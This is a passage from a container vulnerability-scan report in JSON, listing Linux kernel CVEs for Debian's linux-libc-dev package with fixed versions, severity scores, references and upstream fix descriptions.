been resolved:\n\nipv4: igmp: Fix potential UAF in igmp_gq_start_timer()\n\nA race condition exists between device teardown (inetdev_destroy) and\nincoming IGMP query processing (igmp_rcv), leading to a Use-After-Free\nin the IGMP timer callback.\n\nDuring device destruction, inetdev_destroy() drops the primary reference\nto in_device, which can drop its refcount to 0. The actual freeing of\nin_device memory is deferred via RCU (using call_rcu()).\n\nConcurrently, igmp_rcv() runs under RCU read lock and obtains the\nin_device pointer. Because the memory is RCU-protected, CPU-0 can safely\ndereference in_device even if its refcount has hit 0.\n\nHowever, if CPU-0 calls igmp_gq_start_timer() and re-arms the timer, it\nattempts to acquire a reference using in_dev_hold(). This increments the\nrefcount from 0 to 1, triggering a \"refcount_t: addition on 0\" warning.\nSince the in_device memory is still scheduled to be freed after the RCU\ngrace period (as the free callback does not check the refcount again),\nthe device is freed while the timer is still armed. When the timer\nexpires, it accesses the freed memory, causing a kernel panic.\n\nFix this by using refcount_inc_not_zero() (via a new helper\nin_dev_hold_safe()) to prevent acquiring a reference if the device is\nalready being destroyed. If the refcount is 0, we do not arm the timer.\n\nA similar issue in IPv6 MLD is fixed in a subsequent patch.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72323", "https://git.kernel.org/linus/7b19c0f81ed1fdaec6bc522569be367199a9edf3%20%287.2-rc3%29", "https://git.kernel.org/stable/c/165258303357e54b75fc19b341ae2a2b7c9e3910", "https://git.kernel.org/stable/c/40a1e998cb266ed4cb529a0bb4fee2b0ba732702", "https://git.kernel.org/stable/c/7265c747eec415ca3109a6a14a419f7ae433b780", "https://git.kernel.org/stable/c/74b301f7f197517016befb5f5dfab01f7bc64be5", "https://git.kernel.org/stable/c/75e984fe0cb9e7fbde0c8ee838c61ce8573d3ea3", "https://git.kernel.org/stable/c/7b19c0f81ed1fdaec6bc522569be367199a9edf3", "https://git.kernel.org/stable/c/8d4394ffa40508e0de72f464af351f6ca6a6cdc3", "https://git.kernel.org/stable/c/d107b4c4f8274763b7ea5ab05d45cef78e4b81ba", "https://linux.oracle.com/cve/CVE-2026-72323.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081506-CVE-2026-72323-b79f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72323", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72323" ], "PublishedDate": "2026-08-15T06:22:05.333Z", "LastModifiedDate": "2026-10-16T19:17:23.027Z" }, { "VulnerabilityID": "CVE-2026-72339", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72339", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e386e09fc5a8181f0cdd64bdec5e8707f47281b00f49f8dd0cd5667c8b928b24", "Title": "kernel: qede: fix off-by-one in BD ring consumption on build_skb failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nqede: fix off-by-one in BD ring consumption on build_skb failure\n\nqede_rx_build_skb() and qede_tpa_rx_build_skb() do not check for a\nNULL return from qede_build_skb(). When it returns NULL under memory\npressure, the functions still consume a BD from the ring before\nreturning NULL. The callers then recycle additional BDs, resulting in\none extra BD being consumed (off-by-one). This desynchronizes the BD\nring, which can corrupt DMA page reference counts and lead to SLUB\nfreelist corruption.\n\nCommit 4e910dbe3650 (\"qede: confirm skb is allocated before using\")\nadded a NULL check inside qede_build_skb() to prevent a NULL pointer\ndereference, but did not address the missing NULL checks in the\ncallers, making this off-by-one reachable.\n\nFix this by adding NULL checks for the return value of\nqede_build_skb() in both qede_rx_build_skb() and\nqede_tpa_rx_build_skb(), returning NULL immediately before any BD ring\nmanipulation.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72339", "https://git.kernel.org/linus/a0a558ca7e75b49e71f8c545c30e8c005e6e4e2f%20%287.2-rc3%29", "https://git.kernel.org/stable/c/07be8b8adf91b7ada4c3dacce064d572a6066421", "https://git.kernel.org/stable/c/0bf78df2d3ecb1f4964ff42a7327d25845955153", "https://git.kernel.org/stable/c/1624aa100c0b218181aa74e3696a389b509298cb", "https://git.kernel.org/stable/c/814a5edac8c9fc04051808d5faaa93768e989281", "https://git.kernel.org/stable/c/982d6d6bc059c5dff37a2201c2f08c14bcfcbd20", "https://git.kernel.org/stable/c/a0a558ca7e75b49e71f8c545c30e8c005e6e4e2f", "https://git.kernel.org/stable/c/b066420e57f3402a52c998678b4678252ac9bb63", "https://git.kernel.org/stable/c/ecc05d4b20220a09c9c69584fc46ca55248a374a", "https://linux.oracle.com/cve/CVE-2026-72339.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081510-CVE-2026-72339-ca7a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72339", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72339" ], "PublishedDate": "2026-08-15T06:22:07.15Z", "LastModifiedDate": "2026-10-16T19:17:23.95Z" }, { "VulnerabilityID": "CVE-2026-72449", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-72449", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ff045a1fe7ea1fadb36282c99314bb9bf2580b11445aa0600926c91fe6966eea", "Title": "kernel: drm/amdkfd: fix list_del corruption in kfd_criu_resume_svm", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: fix list_del corruption in kfd_criu_resume_svm\n\nThe cleanup tail of kfd_criu_resume_svm() walks\nsvms-\u003ecriu_svm_metadata_list and kfree()s each struct criu_svm_metadata\nwithout removing it from the list. The list head is left pointing at\nfreed kmalloc-96 objects.\n\nA second AMDKFD_IOC_CRIU_OP from the same process re-enters: list_empty()\nreads the dangling -\u003enext (use-after-free), the loop walks freed entries,\nand each is kfree()'d again (double-free). This is reachable by an\nunprivileged render-group user via /dev/kfd with no capabilities required.\n\nAdd list_del() before the kfree() so the list is properly emptied. The\nlist_for_each_entry_safe() iterator already caches the next pointer, so\nunlinking during the walk is safe.\n\n(cherry picked from commit 6322d278a298e2c1430b9d2697743d3a04b788b1)", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-72449", "https://git.kernel.org/linus/8fa5655da368d0306c03e9dc9cda8ae2a7840926%20%287.2-rc1%29", "https://git.kernel.org/stable/c/506e635aed05dbdeef11e3c59f6e42980cda5b6d", "https://git.kernel.org/stable/c/838b57b3e7ce8cce0fda56d0861add3d464dd6c8", "https://git.kernel.org/stable/c/8fa5655da368d0306c03e9dc9cda8ae2a7840926", "https://git.kernel.org/stable/c/96ac562a9ea3020981f536384711190841c81aa8", "https://git.kernel.org/stable/c/c8a8d350a273c005a48c64c4519d21b2a51c5ceb", "https://git.kernel.org/stable/c/e33a3bd5cb8d0cf1557dee014115f812c9686130", "https://linux.oracle.com/cve/CVE-2026-72449.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081531-CVE-2026-72449-c109@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-72449", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-72449" ], "PublishedDate": "2026-08-15T06:22:18.837Z", "LastModifiedDate": "2026-10-16T19:17:31.053Z" }, { "VulnerabilityID": "CVE-2026-74269", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74269", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:526c5678e8fff6d5eb42ecb93f04134c38499262c68b9989e0a8159bac7b2721", "Title": "kernel: bnxt: fix head underflow on XDP head-grow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbnxt: fix head underflow on XDP head-grow\n\nThe xdp.py test test_xdp_native_adjst_head_grow_data crashes when run on\na bnxt machine (and also crashes in NIPA).\n\nIt seems that the bug is an underflow in bnxt_rx_multi_page_skb, which\nbuilds the skb head:\n\n napi_build_skb(data_ptr - bp-\u003erx_offset, rxr-\u003erx_page_size);\n\nThe problem with this expression is that in page mode, rx_offset is:\n\n bp-\u003erx_offset = NET_IP_ALIGN + XDP_PACKET_HEADROOM;\n\nWhich evaluates (at least on x86_64) to 258.\n\nThe test test_xdp_native_adjst_head_grow_data tests a case where the\nhead is adjusted by -256.\n\nWhen this test runs, data_ptr is shifted to frag_start + 2 (where\nfrag_start = page_address(page) + offset).\n\nThen, bnxt_rx_multi_page_skb is invoked and the napi_build_skb\nexpression subtracts 258, landing at an address before frag_start. This\ncould be either the previous fragment or the previous physical page when\nthe offset is \u003c 256 (e.g. if the fragment started at offset 0).\n\nWhen the skb is freed, the page pool fragment reference is dropped on\neither the wrong page or the wrong frag of the right page. In either\ncase, the corrupted reference count can lead to the page being\nprematurely recycled while still in use. Once (incorrectly) recycled, it\ncan be handed out again and on driver teardown this would result in a\ndouble free.\n\nThe commit under fixes updated this code to handle the case where the\nnative page size is \u003e= 64k, but it unintentionally broke the head grow\ncase.\n\nTo fix this, add an offset field to struct bnxt_sw_rx_bd, mirroring the\nexisting offset field in struct bnxt_sw_rx_agg_bd. Populate it on\nallocation and preserve it on reuse.\n\nIn bnxt_rx_multi_page_skb, use the newly added offset field to compute\nthe fragment start and pass that to napi_build_skb. Adjust the layout\nwith skb_reserve.\n\nThere are two cases, the non-adjustment case and the adjustment case.\n\nIn both cases, the skb is built at page_address(page) + offset to\naccount for the case where the native page size \u003e= 64K and skb_reserve\nis called with data_ptr - (page_address(page) + offset). That\ndifference equals bp-\u003erx_offset when data_ptr was not moved, or\nbp-\u003erx_offset + xdp_adjust when XDP adjusted the head.\n\nRe-running the failing test with this commit applied causes the test to\nrun successfully to completion.\n\nThe other rx_skb_func implementations don't have this issue.", "Severity": "HIGH", "VendorSeverity": { "azure": 2, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74269", "https://git.kernel.org/linus/e26657fe3b85c068b01f42bb0c602f242d643ba9%20%287.2-rc1%29", "https://git.kernel.org/stable/c/3e8f3959a7fd28461b8cd9708c21286b4250b77a", "https://git.kernel.org/stable/c/4c03275bc4435cc8e25f7f3f08aff58c0e783d8d", "https://git.kernel.org/stable/c/59f6211c006cb5936b443fb396eb43864ca21ed5", "https://git.kernel.org/stable/c/bb72b1c6755631c74b7e0878ee55bb81c06776c0", "https://git.kernel.org/stable/c/e26657fe3b85c068b01f42bb0c602f242d643ba9", "https://git.kernel.org/stable/c/ff34e5a26a26c92142afea11455e259c4c4c617b", "https://lore.kernel.org/linux-cve-announce/2026081543-CVE-2026-74269-29cf@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74269", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74269" ], "PublishedDate": "2026-08-15T06:22:26.28Z", "LastModifiedDate": "2026-10-30T13:19:54.063Z" }, { "VulnerabilityID": "CVE-2026-74310", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74310", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:78a219131f841338b97dd7fca92c99c801ebdaf95e827cfa5a65d15d08399224", "Title": "kernel: vhost/net: complete zerocopy ubufs only once", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost/net: complete zerocopy ubufs only once\n\nvhost-net initializes one ubuf_info per outstanding zerocopy TX\ndescriptor and hands it to the backend socket. The networking stack may\nthen clone a zerocopy skb before all skb references are released. For\nexample, batman-adv fragmentation reaches skb_split(), which calls\nskb_zerocopy_clone() and increments the same ubuf_info refcount.\n\nvhost_zerocopy_complete() currently treats every ubuf callback as a\ncompleted vhost descriptor. It dereferences ubuf-\u003ectx, writes the\ndescriptor completion state, and drops the vhost_net_ubuf_ref even when\nthe callback only releases a cloned skb reference. A backend reset can\ntherefore wait for and free the vhost_net_ubuf_ref while another cloned\nskb still carries the same ubuf_info. A later completion then\ndereferences the freed ubufs pointer.\n\nKASAN reports the stale completion as:\n\n BUG: KASAN: slab-use-after-free in vhost_zerocopy_complete+0x1d7/0x1f0\n BUG: KASAN: slab-use-after-free in vhost_zerocopy_complete+0x101/0x1f0\n vhost_zerocopy_complete\n skb_copy_ubufs\n __dev_forward_skb2\n veth_xmit\n\nThe freed object was allocated from vhost_net_ioctl() while setting the\nbackend and freed through kfree_rcu()/kvfree_rcu_bulk after backend\nremoval, while delayed skb completion still reached\nvhost_zerocopy_complete().\n\nHonor the generic ubuf_info refcount before touching vhost state, and run\nthe vhost descriptor completion only for the final ubuf reference. This\nmatches the msg_zerocopy_complete() ownership rule for cloned zerocopy\nskbs.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74310", "https://git.kernel.org/linus/8f6898fe80794f2d7c3d38c1158c806e4074a1c4%20%287.2-rc1%29", "https://git.kernel.org/stable/c/321c73baf54d971ce3771fea275c98a247f7ee35", "https://git.kernel.org/stable/c/6445b945024f4c7675ae5352b2d5885cb1deea71", "https://git.kernel.org/stable/c/8f6898fe80794f2d7c3d38c1158c806e4074a1c4", "https://git.kernel.org/stable/c/a9f8a1d2e3ff511eafd4c5462481950c2f4d2b5d", "https://git.kernel.org/stable/c/c069437924663539a93a1e5afe90838d9ccee284", "https://git.kernel.org/stable/c/ea71f873423fb73e66ad88936d6759ac0ad4aa53", "https://linux.oracle.com/cve/CVE-2026-74310.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081551-CVE-2026-74310-06ad@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74310", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74310" ], "PublishedDate": "2026-08-15T06:22:30.987Z", "LastModifiedDate": "2026-10-16T19:17:38.347Z" }, { "VulnerabilityID": "CVE-2026-74345", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74345", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:70ad759ee50dfbd86a9defd604555b498b4bc6a221cb2995118cb2b8a39f623c", "Title": "kernel: RDMA/siw: Fix endpoint/socket association handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: Fix endpoint/socket association handling\n\nDisassociating a socket from an endpoint via siw_socket_disassoc() may\nrelease the last reference on that endpoint and free it. Therefore, don't\nclear the endpoints socket pointer after calling that function, but\nwithin.\n\nThis fixes a:\n\n BUG: KASAN: slab-use-after-free in siw_cm_work_handler (drivers/infiniband/sw/siw/siw_cm.c:1053 drivers/infiniband/sw/siw/siw_cm.c:1075)\n\nwhich occurred after processing a malformed MPA request during connection\nestablishment, causing the new endpoint to be closed.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74345", "https://git.kernel.org/linus/ea4f6f6c53577fb3f05dbd78b15e586772d49831%20%287.2-rc1%29", "https://git.kernel.org/stable/c/b28d513393f81e2de00f82970487a9d001557e4e", "https://git.kernel.org/stable/c/b6cf763eee0a932792bef64ceaca568d324192fc", "https://git.kernel.org/stable/c/ea4f6f6c53577fb3f05dbd78b15e586772d49831", "https://git.kernel.org/stable/c/f27da1192118fb6a7e73a85cfe4b02ccf8298619", "https://git.kernel.org/stable/c/f6183983ce1ff254d629a333739082b39d7c5eb6", "https://git.kernel.org/stable/c/ff584d3735b13a1d7f8cd072f98fea40b6062518", "https://lore.kernel.org/linux-cve-announce/2026081558-CVE-2026-74345-c375@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74345", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74345" ], "PublishedDate": "2026-08-15T06:22:35.607Z", "LastModifiedDate": "2026-10-30T13:19:55.633Z" }, { "VulnerabilityID": "CVE-2026-74394", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74394", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c1d749aceae24f1ad662400d4617a997b244d65b78377d4e59a51a46274b77db", "Title": "kernel: RDMA/srpt: fix integer overflow in immediate data length check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/srpt: fix integer overflow in immediate data length check\n\nimm_buf-\u003elen is a user-controlled uint32_t received from the network.\nAdding it to imm_data_offset without overflow checking allows a\nmalicious initiator to send len=0xFFFFFFFF, causing req_size to wrap\naround to a small value, bypassing the bounds check, and subsequently\npassing a ~4GB length to sg_init_one().\n\nUse check_add_overflow() to detect wrapping before the comparison.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74394", "https://git.kernel.org/linus/eb4ecdf631fe00e8020bf461503cb9b7017ed796%20%287.2-rc1%29", "https://git.kernel.org/stable/c/067b9556eeb007f28b7c2033b4dcde5b6d88418f", "https://git.kernel.org/stable/c/07dec3f6dcb6c6cc891162d252b800eb0e6d5e8e", "https://git.kernel.org/stable/c/3efa5301137140a3ca3677a9098c0a93a0acfd49", "https://git.kernel.org/stable/c/65572fbd86033ae2370125593d59b8be34253aaf", "https://git.kernel.org/stable/c/72497172a4799119a0282a5eb5e2b8ddcc821921", "https://git.kernel.org/stable/c/c82c860f8c8e4f4f454c9f14d0ad0c0466965f7d", "https://git.kernel.org/stable/c/dcf7a986f377cce0749ed53f1d64195fbd5fdf91", "https://git.kernel.org/stable/c/eb4ecdf631fe00e8020bf461503cb9b7017ed796", "https://linux.oracle.com/cve/CVE-2026-74394.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026081507-CVE-2026-74394-6792@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74394", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8816-1", "https://ubuntu.com/security/notices/USN-8816-2", "https://ubuntu.com/security/notices/USN-8816-3", "https://ubuntu.com/security/notices/USN-8816-4", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-74394" ], "PublishedDate": "2026-08-15T06:22:41.363Z", "LastModifiedDate": "2026-10-16T20:17:24.97Z" }, { "VulnerabilityID": "CVE-2026-74469", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74469", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:18710747c9e197ce89470e85f734bc4a3cb5903e7a62747cdd24861e5caa86bb", "Title": "kernel: sctp: prevent peer transport count overflow", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: prevent peer transport count overflow\n\nsctp_assoc_add_peer() increments the association's 16-bit transport_count\nfor every new unique peer. Adding the 65,536th transport wraps the count to\nzero.\n\nSCTP sock_diag uses transport_count to reserve the INET_DIAG_PEERS payload,\nthen copies one sockaddr_storage for every entry in transport_addr_list.\nAfter the wrap, a diagnostic dump reserves an empty payload and writes\n8 MiB of peer addresses past the skb tail.\n\nReject a new unique peer when transport_count has reached U16_MAX. Perform\nthe check after the existing-peer lookup so a duplicate address continues\nto return its existing transport at the limit.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-74469", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", 